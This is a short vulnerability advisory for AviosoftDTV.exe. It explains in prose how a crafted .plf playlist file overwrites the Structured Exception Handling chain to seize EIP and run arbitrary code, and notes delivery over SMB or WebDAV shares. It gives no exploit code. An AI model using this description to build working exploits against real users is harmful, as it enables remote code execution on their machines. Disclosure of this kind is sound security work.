Vulnerability Details
The main program AviosoftDTV.exe is prone to a remote memory-corruption vulnerability because the application fails to handle malformed playlist files (.plf). When the program try to load specially-crafted .plf file, it fails to perform boundary checking of the user input file, thus overwriting the Structured Exception Handling chain. This can be bypassed by overwrite the SE Handler address and pass the execution to EIP. Since we can control EIP, arbitrary code can be introduced and lead us to code execution.
Attacker can use this vulnerability to exploit user without prior knowledge via SMB or WebDAV share, instead of bring the specially-crafted file directly.
